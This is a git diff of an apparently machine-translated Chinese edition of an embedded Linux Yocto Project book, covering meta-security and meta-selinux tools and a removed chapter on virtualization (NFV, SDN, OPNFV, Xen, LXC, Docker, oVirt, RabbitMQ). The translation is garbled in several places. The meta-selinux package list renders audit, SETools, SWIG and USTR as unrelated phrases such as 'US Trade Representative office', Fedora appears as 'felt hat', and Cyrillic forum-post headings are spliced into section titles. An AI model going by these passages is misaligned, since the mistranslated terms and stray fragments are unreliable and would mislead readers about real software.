使用`/etc/checksecurity.conf`中定义的筛选器,它扫描已安装的文件系统,将已有的`setuid`程序列表与新扫描的程序列表进行比较,并打印更改以供用户查看。 它还提供了有关这些不安全挂载的文件系统的信息。 - -**ClamAV**是一种从命令行运行的 Unix 防病毒软件。 它是一个非常好的引擎,用于跟踪特洛伊木马程序、恶意软件、病毒和检测其他恶意威胁。 它可以做各种各样的事情,从电子邮件扫描到网络扫描和终端安全。 它还有一个非常通用且可伸缩的守护进程、命令行扫描程序和数据库交互工具。 - -列表中的最后一个是**网络映射器**(**nmap**)。 它是最广为人知的,用于安全审计,也是网络和系统管理员的网络发现工具。 它用于管理服务升级计划、网络库存、监控各种服务,甚至主机正常运行时间。 - -这些是元安全层内部支持和提供的工具。 我冒昧地用简明扼要的方式介绍了它们中的大多数,目的是让您可以轻松地获得它们。 我的观点是,对于安全问题,不应该过于复杂化,只保留最适合自己需要的解决方案。 通过展示大量的工具和软件组件,我试图做两件事:让更多的工具可供公众使用,并帮助您做出有关工具的决策,这些工具可能有助于您寻求提供甚至维护安全的系统。 当然,好奇心也是鼓励的,所以一定要检查任何其他工具,这些工具可能会帮助您更多地了解安全性,以及为什么它们不应该集成到元安全层中。 - -## Meta-selinux - -另一个可用的安全层由 meta-selinux 层表示。 这与元安全不同,因为它只支持一种工具,但正如前面的工具所提到的,它是如此庞大,以至于它在整个系统中展开了翅膀。 - -该层的目的是启用对 SELinux 的支持,并在需要时通过 POKY 将其提供给 Yocto Project 社区中的任何人使用。 如前所述,由于它影响整个 Linux 系统,因此这一层的大部分工作都在 bbappend 文件中完成。 我希望您喜欢使用这一层中可用的功能,如果您认为合适的话,甚至可以对其作出贡献。 - -这一层不仅包含许多令人印象深刻的 bbappend 文件,还提供了一个包列表,这些包不仅可以用作 SELinux 扩展。 这些软件包还可以用于其他自包含的目的。 Meta-selinx 层内的可用包如下所示: - -* 对...进行财务审查 / 旁听 / 审计 -* Libcap-ng -* 刚玉 -* 大口喝 / 痛饮 -* 美国贸易代表办公室 - -我将从**audit**用户空间工具开始介绍这一层,顾名思义,它是一个可用于审计的工具,更具体地说是用于内核审计。 它使用许多实用程序和库来搜索和存储记录的数据。 数据是通过 Linux 内核中提供的审计子系统生成的。 它旨在作为独立组件工作,但如果没有第二个安全组件可用,则无法提供**Common Criteria**(**CC**)或**FIPS 140-2**功能。 - -列表中的下一个元素是**libcap-ng**,它是一个替代库,具有简化的 POSIX 功能,可以与传统的 libcap 解决方案进行比较。 它提供的实用程序可以分析正在运行的应用并打印出它们的功能,或者如果它们有一个开放的边界集。 对于缺少`securebit`、`NOROOT`标志的开放边界集,只允许使用`execve()`调用为保留`0`UID 的应用保留全部功能。 通过使用 libcap-ng 库,这些拥有最大特权的应用非常容易发现和处理工具。 交互及其检测是使用其他工具完成的,例如**netCap**、**pscap**或**filecap**。 - -**SETools**是策略分析工具。 实际上,它是 SELinux 的扩展,包含一系列试图简单分析 SELinux 策略的库、图形工具和命令行。 这个开源项目的主要工具如下: - -* `apol`:这是用于分析 SELinux 策略的工具 -* `sediff`:这将作为 SELinux 策略之间的语义区分 -* `seaudit`:这是一个工具,用于分析 SELinux 的审核消息 -* `seaudit-report`:这是,用于根据可用的审计日志生成高度可定制的审计报告 -* `sechecker`:这是一个命令行工具,用于对 SELinux 策略进行模块化检查 -* `secmds`:这是另一个命令行工具,用于访问和分析 SELinux 策略 - -接下来是**SWIG**(**Simpled Wrapper and Interface Generator**),这是一个软件开发工具,可与各种目标语言配合使用,以创建高级编程环境、用户界面以及任何其他必要的东西。 它通常用于快速测试或原型设计,因为它生成目标语言可以在 C 或 C++代码内部调用的粘合剂。 - -最后一个要介绍的组件是用于名为**USTR**的 C 语言的微字符串 API,它的好处是与可用的 API 相比开销更小。 它在 C 代码中非常容易使用,因为它只包含一个头文件,可以随时使用。 对于字符串,它比`strdup()`的开销从 1-9 字节字符串的 85.45 到 1-198 字节字符串的 23.85 不等。 举一个更简单的例子,如果一个 8 字节的存储 USTR 使用 2 个字节,则`strdup()`函数使用 3 个字节。 - -这就是除了 SELinux 功能之外还可以使用其他工具和库的地方,尽管其中一些工具和库可以作为单独的组件使用,也可以与这里介绍的其他可用的软件组件一起使用。 这将为 SELinux 产品增加更多价值,因此将它们放在同一位置似乎才是公平的。 - -如果您有兴趣获得 SELinux 增强版,您可以选择使用 meta-selinux 层中的两个可用映像之一:`core-image-selinux-minimal.bb`或`core-image-selinux.bb`。 另一种方法是根据开发人员的需要将可用的特定于 SELinux 的已定义包组`packagegroup-selinux-minimal`或`packagegroup-core-selinux`合并到新定义的映像中。 在做出这个选择并相应地完成配置之后,剩下的唯一事情就是为所选的映像调用`bitbake`,在构建过程结束时,一个自定义的 Linux 发行版将启用 SELinux 支持,并可以在必要时进行更多调整。 - -# 摘要 - -在本章中,我们向您介绍了特定于内核的安全项目以及外部项目的信息。 其中大多数都是以不好的方式呈现的。 您还获得了有关各种安全子系统和子组如何应对各种安全威胁和安全项目实施的信息。 - -在下一章中,我们将继续讨论另一个有趣的话题。 这里,我指的是虚拟化领域。 稍后,您将在各种虚拟化实现(如 KVM)中找到更多关于元虚拟化方面的信息,KVM 在过去几年中发展很快,并已成为一种标准。 我会让下一章介绍的其他元素成为秘密。 现在让我们进一步探究这本书的内容。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/12.md b/docs/learn-emb-linux-yocto-proj/12.md deleted file mode 100644 index 3a754ba0..00000000 --- a/docs/learn-emb-linux-yocto-proj/12.md +++ /dev/null @@ -1,357 +0,0 @@ -# 十二、虚拟化 - -在本章中,您将看到有关 Linux 虚拟化部分中出现的各种概念的信息。 正如你们中的一些人可能知道的那样,这个主题相当广泛,只选择几个组件来解释也是一个挑战。 我希望我的决定能让你们大多数对这一领域感兴趣的人满意。 本章中提供的信息可能不适合每个人的需要。 为此,我附上了多个链接,以获得更详细的描述和文档。 像往常一样,我鼓励你开始阅读,如果有必要的话,找到更多的东西。 我知道我不能用三言两语说出所有必要的信息。 - -在当今的任何 Linux 环境中,Linux 虚拟化都不是什么新鲜事。 它已经推出十多年了,并以一种非常迅速和有趣的方式发展起来。 现在的问题不是将虚拟化作为我的解决方案,而是更多地涉及部署什么虚拟化解决方案以及虚拟化什么。 - -当然,在某些情况下,虚拟化不是解决方案。 在嵌入式 Linux 中,有一大类域不适用虚拟化,主要是因为某些工作负载更适合于硬件。 但是,对于其他没有这类需求的人来说,使用虚拟化有很多好处。 本章将讨论有关各种虚拟化策略、云计算和其他相关主题的更多信息,让我们来看看。 - -# Linux 虚拟化 - -当考虑虚拟化时,每个人看到的第一个好处是服务器利用率的提高和能源成本的降低。 使用虚拟化可以最大化服务器上可用的工作负载,这与硬件只使用一小部分计算能力的情况有很大不同。 它可以降低与各种环境交互的复杂性,并提供更易于使用的管理系统。 今天,使用大量虚拟机并不像与少数虚拟机交互那样复杂,因为大多数工具都提供了可伸缩性。 此外,部署时间也确实减少了。 只需几分钟,您就可以取消配置和部署操作系统模板,或为虚拟设备部署创建虚拟环境。 - -虚拟化带来的另一个好处是灵活性。 当工作负载对于分配的资源而言太大时,可以很容易地在相同硬件或更强大的服务器上复制或移动到更适合其需求的另一个环境中。 对于这个问题的基于云的解决方案,这里没有限制。 云类型可以基于是否有可用于主机操作系统的工具来施加该限制。 - -随着时间的推移,Linux 能够为每个需求和组织提供许多很好的选择。 无论您的任务涉及企业数据中心的服务器整合,还是改进小型非营利性基础设施,Linux 都应该有一个满足您需求的虚拟化平台。 你只需要弄清楚你应该在哪里选择哪个项目。 - -虚拟化是广泛的,主要是因为它包含了广泛的技术,也因为很大一部分术语没有很好地定义。 在本章中,您将只看到与 Yocto 项目相关的组件,以及我个人感兴趣的一项新计划。 这一倡议试图使**网络功能虚拟化**(**NFV**)和**软件定义联网**(**SDN**)成为现实,被称为**NFV**(**OPNFV**)。 这里将作简要说明。 - -## SDN 和 NFV - -我决定从这个话题开始,因为我相信在这一领域所做的所有研究都开始受到来自各个领域和行业的许多开源倡议的推动,这一点非常重要。 这两个概念并不新鲜。 自从它们第一次被描述以来,它们已经存在了 20 年,但在过去的几年里,它们作为真实的和非常可能的实现重新浮出水面成为可能。 本节的重点将放在*NFV*部分,因为它受到的关注最多,而且还包含各种实施建议。 - -## 帖子主题:Re:Колибри - -NFV 是一种网络架构概念,用于将整个类别的网络节点功能虚拟化为可互连以创建通信服务的块。 它与已知的虚拟化技术不同。 它使用**虚拟网络功能**(**VNF**),这些功能可以包含在一个或多个虚拟机中,这些虚拟机执行服务器、交换机甚至云基础设施上可用的不同进程和软件组件。 几个例子包括虚拟化负载均衡器、入侵检测设备、防火墙等。 - -电信行业的开发产品周期非常严格和漫长,因为各种标准和协议需要很长时间才能得到遵守和质量会议。 这使得快速发展的组织有可能成为竞争对手,并促使他们改变方法。 - -2013 年,一个行业规范小组发布了一份关于软件定义网络和 OpenFlow 的白皮书。 该组织是**欧洲电信标准协会**(**ETSI**)的一部分,被称为网络功能虚拟化。 本白皮书发布后,发表了更深入的研究论文,解释了从术语定义到各种使用案例的各种内容,并参考了可能考虑使用 NFV 实施的供应商。 - -## КолибриETSI NFV - -ETSI NFV 工作组似乎有助于电信行业创建更灵活的开发周期,并使其能够及时响应动态和快速变化的环境中的任何需求。 SDN 和 NFV 是两个互补的概念,是这方面的关键使能技术,也包含电信和 IT 行业开发的技术的主要组成部分。 - -NFV 框架由六个组件组成: - -* **NFV Infrastructure (NFVI)**: It is required to offer support to a variety of use cases and applications. It comprises of the totality of software and hardware components that create the environment for which VNF is deployed. It is a multitenant infrastructure that is responsible for the leveraging of multiple standard virtualization technologies use cases at the same time. It is described in the following **NFV Industry Specification Groups** (**NFV ISG**) documents: - * NFV 基础架构概述 - * NFV 计算 NFV 计算 - * NFV 虚拟机管理程序域 - * NFV 基础设施网络域 - - 下图显示了 NFV 基础架构的各种使用情形和应用领域的可视化图表。 - - ![ETSI NFV](img/image00374.jpeg) - -* **NFV 管理和协调(MANO)**:它是负责在虚拟化层的帮助下将计算、网络和存储组件与软件实施分离的组件。 它需要管理新元素并编排它们之间的新依赖关系,这需要一定的互操作性标准和一定的映射。 -* **NFV 软件体系结构**:它与已经实现的网络功能(如专有硬件设备)的虚拟化有关。 它意味着对硬件实现的理解和从硬件实现到软件实现的过渡。 转换基于可在流程中使用的各种定义模式。 -* **NFV 可靠性和可用性**:这些是真正的挑战和这些组件所涉及的工作从各种问题、用例、需求和原则的定义开始,它已经提出要提供与遗留系统相同级别的可用性。 它与可靠性组件有关,文档只是为未来的工作做准备。 它只识别各种问题,并指出在设计弹性 NFV 系统时使用的最佳实践。 -* **NFV 性能和可移植性**:NFV 的目的通常是改变其与未来网络的工作方式。 为此,它需要证明自己是行业标准的冗长解决方案。 本节介绍如何在常规 VNF 部署中应用与性能和可移植性相关的最佳实践。 -* **NFV 安全**:由于是行业的重要组成部分,它关注并依赖于网络和云计算的安全,这使得 NFV 的安全保障变得至关重要。 安全专家组将重点放在这些关切上。 - -这些组件的架构如下所示: - -![ETSI NFV](img/image00375.jpeg) - -在所有文档就位之后,需要执行一些概念证明,以测试这些组件的限制,并相应地调整理论组件。 它们似乎也鼓励了 NFV 生态系统的发展。 - -### 备注 - -有关 NFV 的可用概念和规范的更多信息,请参考这些链接:[http://www.etsi.org/technologies-clusters/technologies/nfv/nfv-poc?tab=2](http://www.etsi.org/technologies-clusters/technologies/nfv/nfv-poc?tab=2)和[http://www.etsi.org/technologies-clusters/technologies/nfv](http://www.etsi.org/technologies-clusters/technologies/nfv)。 - -## SDN - -**软件定义的联网**(**SDN**)是一种联网方法,它为管理员提供了使用可用功能的抽象来管理各种服务的可能性。 这是通过将系统解耦到控制平面和数据平面并根据发送的网络流量做出决策来实现的;这代表控制平面领域,流量转发到哪里由数据平面表示。 当然,控制平面和数据平面之间需要某种通信方法,因此 OpenFlow 机制首先进入方程式;不过,其他组件也可以取代它。 - -SDN 的目的是提供一个可管理、经济高效、适应性强、动态的体系结构,并适合当今可用的动态和高带宽场景。 OpenFlow 组件是 SDN 解决方案的基础。 SDN 架构允许以下功能: - -* **直接编程**:控制平面是直接可编程的,因为它与数据平面完全分离。 -* **以编程方式配置**:sdn 允许通过程序管理、配置和优化资源。 这些程序也可以由任何人编写,因为它们不依赖于任何专有组件。 -* **敏捷性**:两个组件之间的抽象允许根据开发人员的需要调整网络流。 -* **集中管理**:逻辑组件可以集中在控制平面上,这为其他应用、引擎等提供了网络视图。 -* **开放标准和供应商中立**:它是使用开放标准实施的,由于提供给控制器的指令数量较多,这些标准简化了 SDN 设计和操作。 与应处理多个特定于供应商的协议和设备的其他场景相比,这要小一些。 - -此外,考虑到移动设备通信、物联网(IoT)、机器对机器(M2M)、Industry 4.0 等新兴市场都需要网络支持,使用传统解决方案满足市场需求是不可能的。 考虑到各个 IT 部门可用于进一步开发的预算,都面临着做出决定的问题。 移动设备通信市场似乎都决定走向开源,希望这项投资能证明其真正的能力,也能带来更光明的未来。 - -## OPNFV - -NFV 项目的开放平台试图提供一个运营商级的、紧密集成的开源参考平台,以促进业界同行帮助改进和推动 NFV 概念向前发展。 其目的是在众多已经存在的块和项目之间提供一致性、互操作性和性能。 该平台还将尝试与各种开源项目密切合作,不断帮助集成,同时填补任何一个项目留下的开发空白。 - -该项目预计将提高性能、可靠性、适用性、可用性和能效,但同时也为仪器提供了广泛的平台。 它将从开发 NFV 基础设施和虚拟化基础设施管理系统开始,在那里它将结合一些已经可用的项目。 它的参考系统架构由 x86 架构表示。 - -项目最初的重点和建议的实现可以在下图中参考。 从这张图中可以很容易看出,该项目自 2014 年 11 月启动以来,虽然非常年轻,但已经加速启动,已经有了几个实施主张。 已经有许多大公司和组织开始制作他们的特定演示。 OPNFV 没有等待他们完成,已经在讨论一些拟议的项目和倡议。 这些目的既是为了满足其成员的需求,也是为了保证他们对各种组件(如持续集成、故障管理、试验台基础设施等)的可靠性。 下图描述了 OPNFV 的结构: - -![OPNFV](img/image00376.jpeg) - -项目一直在利用尽可能多的开源项目。 对这些项目进行的所有修改都可以在两个地方完成。 首先,如果不需要进行可能导致偏离其目的和路线图的重大功能更改,则可以在项目内部进行这些更改。 第二个选项是对第一个选项的补充,对于不属于第一类的更改是必要的;它们应该包含在 OPNFV 项目的代码库中的某个位置。 在 OPNFV 的开发周期内,如果没有适当的测试,所做的任何更改都不应上行。 - -需要提到的另一个重要因素是 OPNFV 不使用任何特定或额外的硬件。 只要支持 VI-Ha 参考点,它就只使用可用的硬件资源。 在上图中,可以看到这已经是由供应商完成的,例如提供计算硬件的 Intel、提供存储硬件的 NetApp 和提供网络硬件组件的 Mellanox。 - -OPNFV 董事会和技术指导委员会有相当多的开源项目。 它们从**基础架构即服务**(**IaaS**)和虚拟机管理程序到 SDN 控制器,并继续列出。 这只是为大量的贡献者提供了一种可能性,让他们尝试一些可能没有时间学习的技能,或者想学习但没有机会学习的技能。 此外,一个更多元化的社区为同一主题提供了更广阔的视野。 - -OPNFV 项目有种类繁多的家用电器。 对于使用移动网关(如服务网关(SGW)、分组数据网络网关(PGW)等)和相关功能(移动管理实体(MME)和网关)、防火墙或应用层网关和过滤器(Web 和电子邮件流量过滤器)来测试诊断设备(服务级别协议(SLA)监控)的移动部署,虚拟网络功能是多样的。 这些 VNF 部署需要易于操作、扩展和独立于所部署的 VNF 类型发展。 OPNFV 着手创建一个必须支持一组质量和用例的平台,如下所示: - -* VNF 的生命周期管理需要一个通用机制,包括部署、实例化、配置、启动和停止、升级/降级和最终退役 -* 使用一致的机制来指定和互连 VNF、VNFC 和 PNF;这些独立于物理网络基础架构、网络覆盖等,即虚拟链路 -* 通常使用一种机制来动态实例化新的 VNF 实例或停用足够的 VNF 实例,以满足当前的性能、规模和网络带宽需求 -* 一种机制用于检测 NFVI、VIM 和基础架构的其他组件中的故障和故障,并从这些故障中恢复 -* 一种机制用于从物理网络功能到虚拟网络功能/从虚拟网络功能向物理网络功能发送业务/将业务从物理网络功能接收到物理网络功能 -* NFVI 即服务用于在同一基础架构上托管来自不同供应商的不同 VNF 实例 - -这里应该提到一些值得注意且易于掌握的用例示例。 它们被组织成四个类别。 让我们从第一个类别开始:住宅/通道类别。 它可用于虚拟化家庭环境,但也提供对 NFV 的固定访问。 第二个是数据中心:它拥有 CDN 的虚拟化,并提供了应对的用例。 移动类别包括移动核心网和 IMS 的虚拟化以及移动基站的虚拟化。 最后是云类别,包括 NFVIaaS、VNFaaS、VNF 转发图(服务链)和 VNPaaS 的用例。 - -### 备注 - -有关此项目和各种实施组件的更多信息,请访问[https://www.opnfv.org/](https://www.opnfv.org/)。 有关遗漏术语的定义,请参考[http://www.etsi.org/deliver/etsi_gs/NFV/001_099/003/01.02.01_60/gs_NFV003v010201p.pdf](http://www.etsi.org/deliver/etsi_gs/NFV/001_099/003/01.02.01_60/gs_NFV003v010201p.pdf)。 - -# Yocto 项目的虚拟化支持 - -`meta-virtualization`层尝试创建专门用于嵌入式虚拟化的中长期生产层。 这些角色包括: - -* 简化使用 KVM/LXC 虚拟化等工具进行协作基准测试和研究的方式,并结合高级核心隔离和其他技术 -* 与 OpenFlow、OpenvSwitch、LXC、dmtcp、CRIU 等项目进行集成和贡献,这些项目可以与 OpenStack 或运营商级 Linux 等其他组件一起使用。 - -简而言之,这一层试图在构建基于 OpenEmbedded 和 Yocto Project 的虚拟化解决方案时提供支持。 - -这一层中提供的包(我将简要介绍一下)如下所示: - -* `CRIU` -* `Docker` -* `LXC` -* `Irqbalance` -* `Libvirt` -* `Xen` -* `Open vSwitch` - -这一层可以与为各种基于云的解决方案提供云代理和 API 支持的`meta-cloud-services`层结合使用。 在本节中,我指的是这两个层,因为我认为将这两个组件放在一起介绍是合适的。 在`meta-cloud-services`层内部,还将讨论和简要介绍几个包,如下所示: - -* `openLDAP` -* `SPICE` -* `Qpid` -* `RabbitMQ` -* `Tempest` -* `Cyrus-SASL` -* `Puppet` -* `oVirt` -* `OpenStack` - -提到这些组件之后,我现在将继续解释这些工具中的每一个。 让我们从元虚拟化层的内容开始,更确切地说是`CRIU`包,这是一个在 Linux 的 Userspace 中实现**检查点/恢复的项目。 它可用于冻结已在运行的应用,并将其作为文件集合检查点到硬盘驱动器。 这些检查点可用于从该点恢复和执行应用。 它可以作为许多用例的一部分使用,如下所示:** - -* **容器的实时迁移**:这是项目的主要用例。 容器被选中,生成的图像被移到另一个框中并在那里恢复,使得用户几乎看不到整个体验。 -* **升级无缝内核**:无需停止活动即可完成内核更换活动。 可以设置检查点,调用 kexec 进行替换,之后可以恢复所有服务。 -* **加速慢启动服务**:它是一种启动过程慢的服务,可以在第一次启动完成后进行检查,并且对于连续启动,可以从该点恢复。 -* **网络负载均衡**:它是`TCP_REPAIR`套接字选项的一部分,在特殊状态下切换套接字。 在操作结束时,套接字实际上会进入预期的状态。 例如,如果调用`connect()`,套接字将根据请求进入`ESTABLISHED`状态,而不检查来自另一端的通信确认,因此可以在应用级别进行卸载。 -* **桌面环境挂起/恢复**:它基于屏幕会话或`X`应用的挂起/恢复操作比关闭/打开操作快得多的事实。 -* **高性能和计算问题**:它既可用于集群上任务的负载平衡,也可用于在发生崩溃时保存集群节点状态。 拥有多个应用快照不会伤害任何人。 -* **流程复制**:类似于远程`fork()`操作。 -* **应用快照**:可以保存一系列应用状态并在必要时将其还原。 它既可以用作应用所需状态的重做,也可以用于调试目的。 -* **在没有此选项的应用中保存能力**:这类应用的一个示例可以是游戏,在游戏中,在达到特定级别后,您需要建立检查点。 -* **将忘记的应用迁移到屏幕上**:如果您忘记将应用包括在屏幕上,而您已经在屏幕上了,CRIU 可以帮助您完成迁移过程。 -* **已挂起**的应用调试:对于因`git`和需要快速重启而卡住的服务,可以使用服务副本进行恢复。 还可以使用转储进程,并通过调试找到问题的原因。 -* **不同机器上的应用行为分析**:对于那些在不同机器上的行为可能不同的应用,可以使用相关应用的快照并将其传输到另一台机器上。 在这里,调试过程也可以是一种选择。 -* **干运行更新**:在对系统进行系统或内核更新之前,可以将其服务和关键应用复制到虚拟机上,在系统更新和所有测试用例通过之后,可以进行真正的更新。 -* **容错系统**:它可以成功地用于其他机器上的进程复制。 - -下一个元素是`irqbalance`,这是一个可跨多处理器和多处理器系统使用的分布式硬件中断系统。 实际上,它是一个用于跨多个 CPU 平衡中断的守护进程,其目的是在 SMP 系统上提供更好的性能以及更好的 IO 操作平衡。 它有其他选择,如`smp_affinity`,理论上可以实现最高性能,但缺乏`irqbalance`提供的灵活性。 - -`libvirt`工具包可用于连接最近的 Linux 内核版本中提供的虚拟化功能,这些版本已根据 GNU Lesser General Public License 获得许可。 它提供了对大量软件包的支持,如下所示: - -* KVM/QEMU Linux 管理程序 -* Supervisor Xen -* LXC Linux 容器系统 -* OpenVZ Linux 容器系统 -* 开放模式 Linux--半虚拟化内核 -* 虚拟机管理程序,包括 VirtualBox、VMware ESX、GSX、Workstation 和 Player、IBM PowerVM、Microsoft Hyper-V、Parallels 和 Bhyve - -除了这些软件包,它还支持多种文件系统上的存储,如 IDE、SCSI 或 USB 磁盘、光纤通道、LVM 和 iSCSI 或 NFS,以及对虚拟网络的支持。 它是专注于节点虚拟化的其他高级应用和工具的构建块,并且以安全的方式实现这一点。 它还提供远程连接的可能性。 - -### 备注 - -有关`libvirt`的更多信息,请访问[http://libvirt.org/goals.html](http://libvirt.org/goals.html)查看其项目目标和术语。 - -接下来是`Open vSwitch`,这是一个多层虚拟交换机的产品级实现。 该软件组件在 Apache2.0 下获得许可,旨在通过各种编程扩展实现大规模网络自动化。 `Open vSwitch`包也缩写为**OVS**,它为硬件虚拟化提供了一个双堆栈层,并且还支持计算机网络中可用的大量标准和协议,例如 sFlow、NetFlow、SPAN、CLI、RSPAN、802.1ag、LACP 等。 - -Xen 是一个具有微内核设计的管理程序,它提供的服务提供在同一架构上执行的多个计算机操作系统。 该软件于 2003 年在剑桥大学首次开发,并在 GNU 通用公共许可证版本 2 下开发。该软件在特权更高的状态下运行,可用于 ARM、IA-32 和 x86-64 指令集。 - -管理程序是一款与各个域的 CPU 调度和内存管理相关的软件。 它从**域 0**(**dom0**)执行此操作,该域控制名为**Domu**的所有其他非特权域;Xen 从引导加载程序引导,通常加载到 dom0 主域,这是一个半虚拟化的操作系统。 此处提供了 Xen 项目体系结构的简要介绍: - -![Virtualization support for the Yocto Project](img/image00377.jpeg) - -**Linux 容器**(**lxc**)是元虚拟化层中的下一个可用元素。 它是一组众所周知的工具和库,通过在 Linux 控制主机上提供隔离容器来提供操作系统级别的虚拟化。 它将内核**控制组**(**cgroups**)的功能与对隔离名称空间的支持结合起来,以提供隔离环境。 它受到了相当多的关注,主要是由于 Docker,稍后将简要介绍这一点。 此外,它还被认为是完全机器虚拟化的轻量级替代方案。 - -这两个选项(容器和机器虚拟化)都有相当多的优点和缺点。 如果是第一种选择,容器通过共享某些组件来提供较低的开销,结果可能是它没有很好的隔离性。 机器虚拟化正好相反,它以更大的开销为代价提供了很好的隔离解决方案。 这两种解决方案也可以看作是相辅相成的,但这只是我个人对这两种解决方案的看法。 实际上,它们都有自己独特的优势和劣势,而这些优势和劣势有时也可能是互不相辅相成的。 - -### 备注 - -有关 linux 容器的更多信息,请访问[https://linuxcontainers.org/](https://linuxcontainers.org/)。 - -将讨论的`meta-virtualization`层的最后一个组件是**Docker**,这是一个开源软件,它试图自动化在 Linux 容器内部署应用的方法。 它通过在 LXC 上提供抽象层来实现这一点。 下图更好地描述了它的架构: - -![Virtualization support for the Yocto Project](img/image00378.jpeg) - -正如您在上图中看到的,此软件包能够使用操作系统的资源。 这里,我指的是 Linux 内核的功能,并将其他应用与操作系统隔离开来。 它可以通过 LXC 或其他替代方案(如被视为间接实现的`libvirt`和`systemd-nspawn`)做到这一点。 它还可以直接通过`libcontainer`库来实现这一点,该库从 0.9 版的 Docker 开始就存在了。 - -如果您想要实现分布式系统的自动化,例如大规模 Web 部署、面向服务的架构、持续部署系统、数据库集群、私有 PaaS 等,Docker 是一个很棒的组件。 有关其用例的更多信息,请访问[https://www.docker.com/resources/usecases/](https://www.docker.com/resources/usecases/)获取。 一定要看一下这个网站,这里经常有有趣的信息。 - -### 备注 - -有关 Docker 项目的更多信息,请访问他们的网站。 请访问[https://www.docker.com/whatisdocker/](https://www.docker.com/whatisdocker/)查看**什么是 Docker?**部分。 - -完成`meta-virtualization`层之后,我将转到包含各种元素的`meta-cloud-services`层。 我将从**独立计算环境的简单协议**(**SPICE**)开始。 这可以转化为虚拟桌面设备的远程显示系统。 - -它最初是一个封闭源代码的软件,两年后决定将其开源。 然后,它成为了与设备交互的开放标准,无论它们是否虚拟化,而不是虚拟化。 它构建在客户端-服务器架构之上,使其能够同时处理物理设备和虚拟设备。 后台和前端的交互通过**VD-Interfaces**(**VDI**)实现,如下图所示,目前的重点是远程访问 QEMU/KVM 虚拟机: - -![Virtualization support for the Yocto Project](img/image00379.jpeg) - -名单上的下一个是**oVirt**,这是一个提供 Web 界面的虚拟化平台。 它易于使用,并有助于管理虚拟机、虚拟化网络和存储。 它的架构由一个 oVirt 引擎和多个节点组成。 该引擎是配备了用户友好界面的组件,用于管理逻辑和物理资源。 它还运行可以是 oVirt 节点、Fedora 或 CentOS 主机的虚拟机。 使用 oVirt 的唯一缺点是它只支持有限数量的主机,如下所示: - -* 软呢帽 20 20 -* CentOS 6.6、7.0 -* Red Hat Enterprise Linux 6.6、7.0 -* Science Linux 6.6、7.0 - -作为一种工具,它非常强大。 它为**虚拟桌面和服务器管理器**(**VDSM**)与虚拟机的通信提供了与`libvirt`的集成,并且还支持支持远程桌面共享的 SPICE 通信协议。 这是一个由 Red Hat 启动并主要由其维护的解决方案。 它是他们的**Red Hat Enterprise Virtualization**(**RHEV**)的基础元素,但有一件事很有趣,需要注意的是,Red Hat 现在不仅是 oVirt 和 Aeolus 等项目的支持者,而且自 2012 年以来一直是 OpenStack 基金会的白金成员。 - -### 备注 - -有关项目(如 oVirt、Aeolus 和 RHEV)的更多信息,请访问以下链接:[http://www.redhat.com/promo/rhev3/?sc_cid=70160000000Ty5wAAC&Offer_id=70160000000Ty5NAAS http://www.aeolusproject.org/](http://www.redhat.com/promo/rhev3/?sc_cid=70160000000Ty5wAAC&offer_id=70160000000Ty5NAAS%20http://www.aeolusproject.org/)和[http://www.ovirt.org/Home](http://www.ovirt.org/Home)。 - -现在我将转到另一个组件。 这里,我指的是轻量级目录访问协议的开源实现,简称为**OpenLDAP**。 尽管它有一个名为**OpenLDAP Public License**的许可证,本质上类似于 BSD 许可证,但它并没有记录在 opensource.org 上,这使得它没有得到**Open Source Initiative**(**OSI**)的认证。 - -此软件组件以一套元素的形式提供,如下所示: - -* 一个独立的 LDAP 守护进程,它充当名为**slapd**的服务器的角色 -* 许多实现 LDAP 协议的库 -* 最后但并非最不重要的一点是,一系列工具和实用程序之间还包含几个客户端示例 - -还有许多其他功能需要提及,比如 ldapc++和用 C++、JLDAP 编写的库以及用 Java 编写的库;内存映射数据库 LMDB;基于角色的身份管理软件堡垒;同样用 Java 编写的 SDK;以及用 Java 编写的 JDBC-LDAP 桥驱动程序**jdbc-ldap**。 - -**Cyrus SASL**是用于**简单身份验证和安全层**(**SASL**)身份验证的通用客户端-服务器库实现。 它是一种用于添加对基于连接的协议的身份验证支持的方法。 基于连接的协议向所请求的服务器添加用于标识和验证用户的命令,如果需要协商,则出于安全目的在协议和连接之间添加额外的安全层。 有关 SASL 的更多信息可在 RFC2222 中获得,可从[http://www.ietf.org/rfc/rfc2222.txt](http://www.ietf.org/rfc/rfc2222.txt)获得。 - -### 备注 - -有关 Cyrus SASL 的详细说明,请参阅[http://www.sendmail.org/~ca/email/cyrus/sysadmin.html](http://www.sendmail.org/~ca/email/cyrus/sysadmin.html)。 - -**QPID**是 Apache 开发的消息传递工具,理解**高级消息队列协议**(**AMQP**),支持多种语言和平台。 AMQP 是一种开源协议,旨在以可靠的方式通过网络进行高性能消息传递。 有关 AMQP 的更多信息,请访问[http://www.amqp.org/specification/1.0/amqp-org-download](http://www.amqp.org/specification/1.0/amqp-org-download)。 在这里,您可以找到有关协议规范的更多信息,以及有关该项目的一般信息。 - -QPID 项目推动了 AMQP 生态系统的开发,这是通过提供消息代理和 API 来实现的,这些消息代理和 API 可用于任何打算使用其产品的 AMQP 消息传递部分的开发应用。 为此,可以执行以下操作: - -* 让源代码开源。 -* 使 AMQP 可用于各种计算环境和编程语言。 -* 提供必要的工具来简化应用的开发过程。 -* 创建消息传递基础设施,以确保其他服务可以与 AMQP 网络很好地集成。 -* 创建一种消息传递产品,使与 AMQP 的集成在任何编程语言或计算环境中都变得轻而易举。 请务必在[http://qpid.apache.org/proton/overview.html](http://qpid.apache.org/proton/overview.html)查看 QPIDProton 以了解这一点。 - -### 备注 - -有关上述功能的更多信息,请参见[http://qpid.apache.org/components/index.html#messaging-apis](http://qpid.apache.org/components/index.html#messaging-apis)。 - -**RabbitMQ**是另一个实现 AMQP 的 Message Broker 软件组件,它也是开源的。 它有许多组件,如下所示: - -* RabbitMQ 交换服务器 -* HTTP、**面向流文本的消息协议**(**STOMP**)和**消息队列遥测传输**(**MQTT**)的网关 -* 适用于各种编程语言的 AMQP 客户端库,最著名的是 Java、Erlang 和.Net Framework -* 用于许多自定义组件的插件平台,这些组件还提供一组预定义的组件: - * **Shovel**:它是执行代理之间消息复制/移动操作的插件 - * **管理**:它实现对经纪人和经纪人集群的控制和监控 - * **Federation**: It enables sharing at the exchange level of messages between brokers - - ### 备注 - - 您可以通过参考[http://www.rabbitmq.com/documentation.html](http://www.rabbitmq.com/documentation.html)上的 RabbitMQ 文档部分找到有关 RabbitMQ 的更多信息。 - -比较 QPID 和 RabbitMQ,可以得出结论,RabbitMQ 更好,而且它有非常棒的文档。 这使得它成为 OpenStack 